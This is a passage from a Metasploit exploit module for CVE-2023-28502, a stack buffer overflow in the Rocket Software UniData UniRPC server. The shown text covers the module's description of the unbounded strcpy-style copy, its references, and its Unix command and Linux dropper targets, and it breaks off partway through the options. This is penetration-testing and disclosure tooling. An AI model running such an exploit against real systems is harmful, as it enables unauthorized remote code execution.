This vulnerability affects UniData versions 8.2.4 build 3003 and          earlier (for Linux), but this module specifically targets UniData          version 8.2.4 build 3001. Other versions will crash the forked          process, but will not otherwise affect the RPC server.          The username and password fields are copied to a stack-based buffer          using a function that's equivalent to strcpy() (ie, has no bounds          checking). Additionally, the password field is encoded in such a way          that we can include NUL bytes.        },        'License' => MSF_LICENSE,        'Author' => [          'Ron Bowes', # Discovery, PoC, module        ],        'References' => [          [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],          [ 'CVE', '2023-28502' ],        ],        'Platform' => ['linux', 'unix'],        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],        'DefaultOptions' => {          'RPORT' => 31438,          'PrependFork' => true        },        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd            }          ],          [            'Linux Dropper',            {              # Used for auto-selection              'Version' => '8.2.4',              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper            }          ]        ],        'DefaultTarget' => 0,        'Privileged' => true,        'DisclosureDate' => '2023-03-30',        'Notes' => {          'SideEffects' => [],          'Reliability' => [REPEATABLE_SESSION],          'Stability' => [CRASH_SERVICE_RESTARTS] # The forked process can crash        }      )    )    register_options(      [        OptBool.new('EXIT_CLEANLY', [ true, 'If set, tries to kill the parent process with SIGTERM before it crashes', true]),        OptEnum.new('UNIDATA_VERSION', [true, 'The version of UniData target.
